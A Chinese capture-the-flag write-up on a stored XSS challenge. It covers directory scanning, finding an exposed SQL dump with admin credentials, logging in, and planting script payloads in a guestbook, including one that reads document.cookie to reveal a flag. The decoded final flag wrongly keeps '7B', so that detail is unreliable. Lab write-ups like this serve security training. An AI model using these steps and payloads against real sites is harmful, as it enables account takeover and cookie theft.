这是一个关于存储型xss的题目
先进行目录扫描
使用dirsearch工具进行目录扫描
python dirsearch.py -u http://114.67.175.224:18392/
得到
/admin.php
/db.sql
访问http://114.67.175.224:18392/admin.php
发现管理员登录界面
但是不知道用户名和密码
先不管这个,访问http://114.67.175.224:18392/db.sql
得到一个sql文件
# Host: localhost (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "text"
#
CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss;
DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`text` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
#
# Data for table "text"
#
/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;
#
# Structure for table "user"
#
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
#
# Data for table "user"
#
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;
可以看到
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
这不就是管理员的用户名和密码吗
试着登录
发现登录成功!
发现了我刚才留言的内容
留言板写入
<script>alert(1)</script>
再访问管理员界面
发现可以执行!
那我们构造一个获取cookie的js代码
看flag在不在里面
<script>alert(document.cookie)</script>
访问管理员界面
得到flag
flag=flag%7B57845943ba8c6225d2fbade764481e8d%7D
%7B url编码为 {
%7D url编码为 }
最后的flag为
flag=flag{7B57845943ba8c6225d2fbade764481e8d}